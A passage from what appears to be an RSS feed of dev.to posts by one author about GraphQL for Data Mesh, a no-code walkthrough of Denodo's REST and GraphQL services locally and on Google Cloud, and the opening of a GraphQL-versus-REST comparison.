&lt;li&gt; &lt;strong&gt;Domain Models&lt;/strong&gt; : Which creates direct or indirect mapping with underlying data models &lt;/li&gt;
&lt;li&gt; We should query our required data based on business need . &lt;/li&gt;
&lt;li&gt; API should support streaming data. &lt;/li&gt;
&lt;li&gt; API should be secured : &lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Row level security&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Column level security&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt; API documentation should be generated automatically without an extra effort .&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;All of the above we can achieve using GraphQL .&lt;/p&gt;

&lt;p&gt;• We can make use of Data virtualization tool like “&lt;strong&gt;Denodo&lt;/strong&gt;” (which exposes its own GraphQL endpoint) to generate domain models with the help of meta data from underlying data models automatically .&lt;br&gt;
• We can query data based on business need in GraphQL. We can ask only our required part of data not the whole data . It reduces network load.&lt;br&gt;
• In GraphQL there is an operation called Subscription which helps to keep up with revolving the data.&lt;br&gt;
• We can apply Row level and Column level security in GraphQL .&lt;br&gt;
• API documentation can be  generated automatically in GraphQL.&lt;br&gt;
• We can apply aggregation of data in GraphQL easily which helps analytics to analyze data.&lt;br&gt;
• All data/domain models from different source system are documented into one single document in GraphQL so that they are discoverable easily .&lt;br&gt;
• Also consumer can fetch data easily based on their role from different domains using one single API call using GraphQL. No need to call multiple API calls to retrieve data from multiple data domains.&lt;/p&gt;

&lt;p&gt;Thus GraphQL acts as an Unified API is an abstraction layer that easily handles communication with backend data models / data domains from different/ same data storage and supports Data Mesh architecture.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs1pq5ogjwd31my3kr2dq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs1pq5ogjwd31my3kr2dq.png" alt="Image description" width="650" height="829"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's connect:&lt;br&gt;
LinkedIn : &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;** Image reference - internet &lt;/p&gt;

</description>
      <category>java</category>
      <category>graphql</category>
      <category>beginners</category>
      <category>spring</category>
    </item>
    <item>
      <title>Denodo Platform-"Develop Rest &amp; GraphQL service using no-code/low-code approach with me 😀😀"</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Wed, 12 Jan 2022 11:57:31 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/denodo-platform-develop-rest-graphql-service-using-no-codelow-code-approach-with-me--1hb8</link>
      <guid>https://dev.to/arpanforgeek/denodo-platform-develop-rest-graphql-service-using-no-codelow-code-approach-with-me--1hb8</guid>
      <description>&lt;p&gt;&lt;strong&gt;What Is Denodo?&lt;/strong&gt;&lt;br&gt;
The Denodo Platform is a data virtualization system that allows applications to use data from multiple, heterogeneous data sources.&lt;/p&gt;

&lt;p&gt;If you have multiple resource from where you are retrieving enterprise data , Denodo as a data virtualization tool offers you single point of access to your enterprise data without moving it to a centralized repository .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv37li8c9elzxv4e4shcc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv37li8c9elzxv4e4shcc.png" alt="Image description" width="800" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If any data change happens in any of the data-source , changes will be synced automatically in denodo. No need to manually add the changes.&lt;/p&gt;

&lt;p&gt;• If any column data is modified then nothing is required from our side.&lt;br&gt;
• If any new column is added or any column is deleted  we need to click on Source Refresh link on Edit section of Json Base View . That’s it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuqycc5v8eef9mpao21k.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmuqycc5v8eef9mpao21k.png" alt="Image description" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can install denodo by referring official site (Full instruction present here) :&lt;/p&gt;

&lt;p&gt;&lt;a href="https://community.denodo.com/docs/"&gt;https://community.denodo.com/docs/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We can call denodo platform as No-Code/Low-Code Platform :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Denodo platform allows developers to create Services (REST/SOAP/GRAPHQL ETC..) through graphical user interfaces and configuration instead of writing traditional code.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are the benefits :&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Improved agility. Operating at digital speed means creating the app capabilities users require to function smoothly across multiple devices.&lt;/li&gt;
&lt;li&gt;Decreased costs.&lt;/li&gt;
&lt;li&gt;Higher productivity.&lt;/li&gt;
&lt;li&gt;Better customer experience.&lt;/li&gt;
&lt;li&gt;Effective risk management and governance.&lt;/li&gt;
&lt;li&gt;Change easily.&lt;/li&gt;
&lt;li&gt;Faster transformation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are many modules in Denodo . One of those are “&lt;strong&gt;Virtual DataPort&lt;/strong&gt;” .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Virtual DataPort :&lt;/strong&gt;&lt;br&gt;
The main module of the Denodo Platform. This is the module where developers create “virtual views” that integrate data from multiple sources: databases, SAP BW servers, XML files, JSON files, CSV files, etc.&lt;br&gt;
Virtual DataPort provides several ways to query these virtual views:&lt;/p&gt;

&lt;p&gt;• A JDBC and an ODBC driver&lt;br&gt;
• By publishing SOAP and REST web services&lt;br&gt;
• By using GraphQL queries &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use Denodo by installing it to local system :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note :&lt;/strong&gt; We need to start Virtual DataPort server before launching Virtual DataPort Administration Tool .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzproo53nssolvl2fly3c.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzproo53nssolvl2fly3c.jpg" alt="Image description" width="800" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After starting Virtual dataPort server , we need to click on Launch button to launch Virtual DataPort Administration Tool. Here is how Virtual DataPort Administration Tool looks like:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ykzst81jg9801k8ctxi.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ykzst81jg9801k8ctxi.jpg" alt="Image description" width="800" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Denodo has many features , It supports not only SOAP service ,but also Rest API and GraphQL. It can connect &amp;amp; integrate with different data-source.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;strong&gt;Steps to use different Denodo services:&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.Connect External Database with Denodo JDBC.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using Denodo we can connect with any Database using JDBC then query data from those databases .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step1:&lt;/strong&gt; Create JDBC data source and provide all the data resource information  click save (Highlighted).&lt;/p&gt;

&lt;p&gt;In my case I am going to connect with Postgres DB&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F784cwehi8mlyz1wpq9gj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F784cwehi8mlyz1wpq9gj.jpg" alt="Image description" width="800" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step2:&lt;/strong&gt; Need To create JDBC Base View by selecting the Table and save.(Highlighted)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiug4bsduhumuwrs2pjtj.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiug4bsduhumuwrs2pjtj.jpg" alt="Image description" width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step3:&lt;/strong&gt; Once Base view is created we can query data from the view to get the data.(Highlighted)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkyd8x4cmdizpos29t74e.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkyd8x4cmdizpos29t74e.jpg" alt="Image description" width="800" height="360"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we are connected with Data-source.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.How Denodo supports Rest service by exposing its own rest endpoint.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Denodo exposes its own Rest endpoint.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In my case I want to use Rest service which can connect to my data source which I have integrated with Denodo and return the result in JSON format .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step1 :&lt;/strong&gt; Create JSON data source and fill following details , Select Data route as HTTP Client and click on configure&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpv6xnmycvsg8zsde9su7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpv6xnmycvsg8zsde9su7.jpg" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step2:&lt;/strong&gt; Complete the configuration part. In URL section we need to enter Denodo rest URL(using  mentioned format beow) and save it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Examples of how to invoke the RESTful Web service&lt;/u&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;o   &lt;a href="http://localhost:9090/denodo-restfulws/admin"&gt;http://localhost:9090/denodo-restfulws/admin&lt;/a&gt; returns the list of views of the database admin.&lt;/p&gt;

&lt;p&gt;o   &lt;a href="http://localhost:9090/denodo-restfulws/admin/views/customer"&gt;http://localhost:9090/denodo-restfulws/admin/views/customer&lt;/a&gt; returns the content of the view customer of the database admin.&lt;/p&gt;

&lt;p&gt;o   &lt;a href="http://localhost:9090/denodo-restfulws/admin/views/customer/1/orders"&gt;http://localhost:9090/denodo-restfulws/admin/views/customer/1/orders&lt;/a&gt; browses through the mapping orders of the row of the table customer whose primary key is 1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Format :&lt;/strong&gt;&lt;br&gt;
• &lt;a href="http://host:port/denodo-restfulws/"&gt;http://host:port/denodo-restfulws/&lt;/a&gt;/views/?$format=json // &lt;strong&gt;(For JSON response)&lt;/strong&gt;&lt;br&gt;
• &lt;a href="http://host:port/denodo-restfulws/"&gt;http://host:port/denodo-restfulws/&lt;/a&gt;/views/?$format=xml // &lt;strong&gt;(For XML response)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F35dvgt0wnftolc4hklav.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F35dvgt0wnftolc4hklav.jpg" alt="Image description" width="800" height="376"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step3:&lt;/strong&gt; Create Base view by clicking on Create base view&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzb9s8lg2rkl4wy56g52a.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzb9s8lg2rkl4wy56g52a.PNG" alt="Image description" width="800" height="443"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After creating base view you can execute query from that view to cross check data is coming or not.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsvt8pdko2j74idynsuw0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsvt8pdko2j74idynsuw0.png" alt="Image description" width="800" height="502"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can execute it from here also. But we are going to deploy this to use it from browser .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step4:&lt;/strong&gt; Click on deploy.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1ixjob1y6i096pt4yab.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl1ixjob1y6i096pt4yab.jpg" alt="Image description" width="800" height="356"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step5:&lt;/strong&gt; Copy the URL from  Web Service container and enter that URL in browser by concatenating with “?$format=json or ?$format=xml” . you will get the result.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhr8yfxenxczngp5frqo2.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhr8yfxenxczngp5frqo2.jpg" alt="Image description" width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t4kvle3cpppu6104gr4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6t4kvle3cpppu6104gr4.jpg" alt="Image description" width="800" height="263"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.Denodo supports External Rest service (masks external rest service).&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We can use denodo to mask an external Rest API also and access it using Denodo exposed Rest endpoint .&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.How Denodo supports GraphQL.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Denodo supports GraphQL service . &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;u&gt;Denodo GraphQL Service&lt;/u&gt;&lt;/strong&gt;&lt;br&gt;
GraphQL is a data query language, and a runtime for executing those queries against your data.&lt;br&gt;
• It gives clients the power to ask for exactly what they need.&lt;br&gt;
• It gets many resources in a single request, reducing the number of API requests.&lt;br&gt;
Denodo GraphQL Service enables the execution of GraphQL queries against the Denodo virtual data model, allowing graphQL-like queries on top of any data source.&lt;br&gt;
This service is always available once you start Virtual DataPort.&lt;br&gt;
Denodo GraphQL Service follows a bottom-up approach where the API specifications are automatically generated from the metadata of the Denodo views and stored procedures.&lt;br&gt;
The GraphQL Service creates a query type for each view and stored procedure of a Denodo database. The view fields appear as children of the view object, and the same occurs for the parameters, in the case of stored procedure objects. Associations in Denodo are mapped to nested relationships between the different objects, so the GraphQL queries will fetch related objects and their fields in one request.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;&lt;br&gt;
The Denodo GraphQL Service provides:&lt;br&gt;
• Read-only access to Denodo databases&lt;br&gt;
• Pagination&lt;br&gt;
• Filtering &lt;br&gt;
• Sorting &lt;br&gt;
• Group by and aggregation functions&lt;br&gt;
• HTTP Authentication&lt;br&gt;
o   Basic&lt;br&gt;
o   SPNEGO (Kerberos)&lt;br&gt;
o   OAuth 2.0&lt;/p&gt;

&lt;p&gt;Denodo exposes its  GraphQL endpoint like :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="http://localhost:9090/denodo-graphql-service/graphql/"&gt;http://localhost:9090/denodo-graphql-service/graphql/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In my case Database name is “Admin”. All the Tables, Views present under this Database will be accessible by the Denodo-exposed GraphQL endpoint .&lt;/p&gt;

&lt;p&gt;Here no need to configure any other thing.&lt;/p&gt;

&lt;p&gt;Open Altair and hit the GraphQL endpoint (using above format) and see the schema documentation . We can see documentation is already  generated . And we can run GraphQL query with filters also. Filters will be based on each field.&lt;/p&gt;

&lt;p&gt;Denodo will be generated  all type of filters.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are few sample query to show how to apply filters:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;query{&lt;br&gt;
member(_filter: {&lt;br&gt;
   or:[&lt;br&gt;
    {expression: {field :"umi",eq:"4085624876909"}},&lt;br&gt;
    {expression: {field :"umi",eq:"4085624876980"}} &lt;br&gt;
  ]&lt;br&gt;
})&lt;br&gt;
  {&lt;br&gt;
    umi&lt;br&gt;
    firstname&lt;br&gt;
  }&lt;br&gt;
}&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;query{&lt;br&gt;
member(_orderBy : &lt;br&gt;
  [{asc:"firstname"},{desc:"umi"}]&lt;br&gt;
)&lt;br&gt;
  {&lt;br&gt;
    umi&lt;br&gt;
    firstname&lt;br&gt;
  }&lt;br&gt;
}&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here one sample query is executed in Altair tool using GraphQL endpoint exposed by Denodo.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuv913lxkdj3y4xfwx549.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuv913lxkdj3y4xfwx549.jpg" alt="Image description" width="800" height="388"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Till now We have discussed how to use Denodo by installing it to our own machine . Now we will discuss how to use denodo which is deployed in Google Cloud Platform.&lt;/p&gt;

&lt;p&gt;&lt;u&gt;&lt;strong&gt;Deploy Denodo instance in GCP :&lt;/strong&gt;&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here are the steps :&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;1.Open GCP console and go to marketplace.&lt;br&gt;
2.Search for “&lt;strong&gt;Denodo Standard 8.0 VDP on Linux&lt;/strong&gt;”&lt;br&gt;
3.Fill all the required details based on requirement and create instance  .&lt;br&gt;
4.It will take some time to deploy.&lt;br&gt;
5.After successfully deployment you can see the username,password and external public IP address of the instance&lt;/p&gt;

&lt;p&gt;It looks like this after creating and deployment of the instance .&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm5dpjje5ibfpp1bepi4.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbm5dpjje5ibfpp1bepi4.jpg" alt="Image description" width="800" height="326"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;6.Now open browser and enter URL : &lt;br&gt;
&lt;strong&gt;format&lt;/strong&gt; -  :9090/denodo-design-studio/#/&lt;br&gt;
In my case its :  &lt;a href="http://35.201.128.114:9090/denodo-design-studio/#/"&gt;http://35.201.128.114:9090/denodo-design-studio/#/&lt;/a&gt;&lt;br&gt;
Enter username  password and connect .&lt;/p&gt;

&lt;p&gt;7.Now you will see the Denodo Design Studio dashboard. Which looks like this . And now you are all set up. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2ot259m7671ahugm4eu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv2ot259m7671ahugm4eu.jpg" alt="Image description" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;8.After completing all of the above set up I need to connect to the source system using JDBC(Steps already mentioned above) and created JSON base view .&lt;/p&gt;

&lt;p&gt;In my case I have created one postgres SQL instance in GCP and used that as my source system.&lt;/p&gt;

&lt;p&gt;Post that I have executed GraphQL query by entering GraphQL endpoint  using externally exposed IP and I am able to see the result. &lt;/p&gt;

&lt;p&gt;Here is one sample GraphQL endpoint.&lt;br&gt;
&lt;a href="http://35.201.128.114:9090/denodo-graphql-service/graphql/admin"&gt;http://35.201.128.114:9090/denodo-graphql-service/graphql/admin&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;username &amp;amp; password you will get post deployment of denodo instance . Using that username &amp;amp; password &lt;br&gt;
add header .&lt;/p&gt;

&lt;p&gt;First encode that username &amp;amp; password using Base64 format &lt;/p&gt;

&lt;p&gt;Add header : Key : Authorization, value :  Basic &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important Note :&lt;/strong&gt; While connecting with Postgres DB from Denodo instance which is deployed in GCP you might get Connection refused error. To solve this you need to whitelist the external IP address of denodo instance in Postgres in GCP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwlcn41cy8aqforz81kts.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwlcn41cy8aqforz81kts.jpg" alt="Image description" width="800" height="353"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; You have seen I have not used any single line or code . I have just configured few things and connected to data-source. Only with that I am able to develop Rest / GraphQL service. It will help for rapid development and we can concentrate more on business. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reference Taken :&lt;/strong&gt; &lt;a href="https://community.denodo.com/docs/"&gt;https://community.denodo.com/docs/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let's connect:&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;LinkedIn :&lt;/strong&gt; &lt;a href="https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/"&gt;https://www.linkedin.com/in/arpan-bandyopadhyay-bb5b1a54/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>java</category>
      <category>graphql</category>
      <category>beginners</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Is GraphQL better option than Rest ?</title>
      <dc:creator>Arpan Bandyopadhyay</dc:creator>
      <pubDate>Mon, 27 Dec 2021 12:33:59 +0000</pubDate>
      <link>https://dev.to/arpanforgeek/is-graphql-better-option-than-rest--5a62</link>
      <guid>https://dev.to/arpanforgeek/is-graphql-better-option-than-rest--5a62</guid>
      <description>&lt;p&gt;GraphQL is great if you want to work in a declarative approach because it enables you to select only the information you need. You need to choose it by depending on your use case for your project. For some user case Rest is a great fit , also for some use case you can see GraphQL will play well .&lt;/p&gt;

&lt;p&gt;Here I am discussing when you need to choose what in terms of use case one by one : &lt;/p&gt;

&lt;p&gt;If you are planning to use GraphQL, in below situations, you should use it without thinking twice :&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DEVELOPING MOBILE APPS&lt;/strong&gt;&lt;br&gt;
It would be best to use GraphQL when you are designing UI/UX rich applications for smartphones, smartwatches and IoT devices. GraphQL can help in loading content that the user actually needs and preserving the user experience under slow network speeds. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;WHEN YOU HAVE TO HANDLE COMPLEX SCHEMA&lt;/strong&gt;&lt;br&gt;
